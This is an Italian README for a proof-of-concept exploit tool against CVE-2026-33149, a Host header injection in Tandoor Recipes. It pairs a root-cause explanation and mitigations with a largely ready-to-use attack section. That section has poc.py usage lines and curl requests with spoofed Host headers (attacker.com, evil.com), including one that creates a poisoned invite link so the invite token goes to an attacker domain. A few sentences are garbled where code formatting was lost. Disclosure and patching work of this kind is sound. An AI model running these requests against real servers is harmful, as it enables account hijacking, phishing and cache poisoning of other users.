
Proof-of-concept exploit per CVE-2026-33149, un'iniezione dell'header Host in Tandoor Recipes che consente il poisoning dei link di invito e il cache poisoning. Include moduli per l'accettazione dell'host, la paginazione, lo schema e il poisoning degli inviti.
Tandoor Recipes imposta ALLOWED_HOSTS = '*' per impostazione predefinita in settings.py, consentendo a Django di accettare nell'header HTTP senza validazione. L'applicazione utilizza per generare URL assoluti in molteplici contesti sensibili alla sicurezza. Un attaccante che può inviare richieste con un header manipolato può reindirizzare tutti gli URL generati dal server verso un dominio controllato dall'attaccante.
Hostrequest.build_absolute_uri()HostL'impatto più critico è l'avvelenamento dei link di invito: quando un amministratore crea un invito utente, l'email inviata dal server contiene un link che punta al dominio dell'attaccante. La vittima clicca su un'email dall'aspetto legittimo, il token di invito viene esfiltrato e l'attaccante lo utilizza per dirottare il flusso di provisioning dell'account.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Neutralizzazione Impropria degli Header HTTP per la Sintassi di Scripting |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Versione Affetta | Tandoor Recipes ≤ 2.5.3 |
| Vendor | TandoorRecipes/recipes |
File: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
ALLOWED_HOSTS di Django è una misura di sicurezza che valida l'header Host rispetto a una whitelist. Il wildcard '*' disabilita completamente questa validazione, consentendo qualsiasi valore arbitrario.
File: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() costruisce gli URL utilizzando request.get_host(), che restituisce il valore grezzo dell'header Host quando ALLOWED_HOSTS non lo limita. L'UUID dell'invito — un token segreto — è incorporato nell'URL che ora punta all'attaccante.
build_absolute_uri() per gli URL next/previous┌──────────┐ ① Richiesta Manipolata ┌─────────────────┐
│ Attaccante │ ──────────────────────────────→│ Server Tandoor │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
usa "attacker.com"
│
▼
┌────────────────┐
│ Server SMTP │
└────────┬───────┘
│
③ Email con link avvelenato:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Vittima │
│ (clicca link) │
└────────┬───────┘
│
④ UUID inviato all'attaccante
│
▼
┌────────────────┐
│ Attaccante │
│ usa UUID sul │
│ server reale │
└────────────────┘
requestspip install requests
# Esegui tutti i moduli di validazione con autenticazione di base
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Esegui tutti i moduli con cookie di sessione
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Solo avvelenamento del link di invito
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Modulo | Descrizione |
|---|---|
host-accept | Verifica che il target accetti header Host arbitrari (ALLOWED_HOSTS = '*') |
pagination | Conferma che gli URL di paginazione API riflettano il dominio iniettato |
schema | Conferma che gli URL del server dello schema OpenAPI riflettano il dominio iniettato |
invite | Crea un link di invito avvelenato — il vettore d'attacco primario |
all | Esegue tutti i moduli in sequenza |
1. Accettazione dell'Header Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Atteso: 200 (vulnerabile) | 400 (corretto)
2. Riflessione dell'URL di Paginazione
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Atteso: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Riflessione dell'URL dello Schema
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Atteso: http://evil.com/...
4. Avvelenamento del Link di Invito
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# La vittima riceve l'email: "Click: http://attacker.com/invite/<uuid>"
| Area di Impatto | Descrizione | Gravità |
|---|---|---|
| Dirottamento del Token di Invito | L'attaccante cattura l'UUID dell'invito tramite il link email avvelenato, dirottando il provisioning dell'account | Critica |
| Phishing delle Credenziali | La vittima finisce su un dominio controllato dall'attaccante aspettandosi una pagina di registrazione legittima | Alta |
| Avvelenamento della Cache | Nelle distribuzioni con proxy di caching, una singola risposta avvelenata contamina la cache per tutti gli utenti | Alta |
| Disorientamento dei Client API | Gli URL di paginazione e schema reindirizzano i consumatori API verso l'infrastruttura dell'attaccante | Media |
Imposta ALLOWED_HOSTS per elencare esplicitamente i tuoi hostname validi:
# docker-compose.yml o .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host inattesi prima che raggiungano DjangoUSE_X_FORWARDED_HOST = False — Assicurati che Django non si fidi di X-Forwarded-Host da fonti non attendibili (il default è False)SITE_URL per la generazione dei link email invece di fare affidamento su request.build_absolute_uri()Questo proof of concept è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.
Filipe Gaudard — Ricercatore di Sicurezza Offensiva | eWPT | eWPTx